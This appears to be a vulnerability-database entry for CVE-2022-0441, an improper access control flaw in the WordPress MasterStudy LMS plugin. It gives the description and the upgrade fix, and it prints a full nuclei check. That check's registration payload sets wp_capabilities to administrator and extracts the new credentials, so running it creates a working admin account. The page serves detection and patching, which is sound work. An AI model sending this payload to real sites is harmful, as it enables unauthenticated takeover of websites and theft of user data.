HexBrain

Browse / CVEs / CVE-2022-0441

CVE-2022-0441· stylemixthemes / masterstudy lms· CWE-269, NVD-CWE-Other

MasterStudy LMS <2.7.6 - Improper Access Control

criticalseverity
9.8CVSS score
85.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity.

Fix

Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.

How to confirm it

Send: GET / ; POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}}
Positive when: contains in body_2 "Registration completed successfully" and "\"status\":\"success\"" AND contains in header_2 "application/json;" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0441 -u <target>

The full check
id: CVE-2022-0441

info:
  name: MasterStudy LMS <2.7.6 - Improper Access Control
  author: dwisiswant0,theamanrawat
  severity: critical
  description: |
    WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity.
  remediation: |
    Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.
  reference:
    - https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
    - https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
    - https://plugins.trac.wordpress.org/changeset/2667195
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0441
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0441
    cwe-id: CWE-269,NVD-CWE-Other
    epss-score: 0.85334
    epss-percentile: 0.99719
    cpe: cpe:2.3:a:stylemixthemes:masterstudy_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: stylemixthemes
    product: masterstudy_lms
    framework: wordpress
  tags: cve2022,cve,wordpress,wp-plugin,wpscan,wp,unauth,stylemixthemes,vkev,vuln
variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Registration completed successfully'
          - '"status":"success"'
        condition: and

      - type: word
        part: header_2
        words:
          - application/json;

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"stm_lms_register":"([0-9a-z]+)"'
        internal: true

      - type: kval
        kval:
          - user_email
          - password

References

Use this check only on systems you are authorised to test. Where the data comes from